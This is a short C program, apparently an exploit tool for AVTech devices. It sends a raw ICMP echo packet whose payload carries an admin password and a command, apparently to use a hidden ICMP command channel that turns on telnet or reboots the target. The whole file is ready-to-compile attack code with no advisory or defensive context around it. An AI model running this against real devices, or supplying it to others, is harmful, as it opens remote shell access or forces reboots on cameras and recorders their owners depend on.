/* gcc -o avtech avtech.c */
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <resolv.h>
#include <netdb.h>
#include <netinet/ip_icmp.h>

struct icmp_echo {
    struct icmphdr icmp;
    char data[128-sizeof(struct icmphdr)];
};

static unsigned short calcsum(unsigned short *buffer, int length)
{
	unsigned long sum; 	

	for (sum=0; length>1; length-=2) sum += *buffer++;
	if (length==1) sum += (char)*buffer;
	sum = (sum >> 16) + (sum & 0xFFFF);  // add high 16 to low 16 
	sum += (sum >> 16);		     // add carry 
	return ~sum;
}

int main(int argc, char **argv)
{
	struct sockaddr_in addr_ping={0};
	struct hostent* hname;
	struct icmp_echo req={0};
	int sd;

	if (argc<4)
	{
		fprintf(stderr, "Usage: %s <IP> <Admin-Password> <Command>\n\nCommand = telnet or reboot\n", argv[0]);
		return -1;
	}

	if (!(hname=gethostbyname(argv[1])))
	{
		perror("gethostbyname");
		return -1;
	}
	addr_ping.sin_family = hname->h_addrtype;
	memcpy(&addr_ping.sin_addr, hname->h_addr, hname->h_length);

	snprintf(req.data, sizeof(req.data), "username=admin&password=%s&command=%s", argv[2], argv[3]);
	req.icmp.type = ICMP_ECHO;
	req.icmp.checksum = calcsum((unsigned short*)&req, sizeof(req));

	if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1)
	{
		perror("Could not initialize socket");
		return -1;
	}
	if(sendto(sd, &req, sizeof(req), 0, (struct sockaddr*)&addr_ping, sizeof(addr_ping)) <= 0)
	{
		perror("Cannot sendto");
		return -1;
	}
	return 0;
}
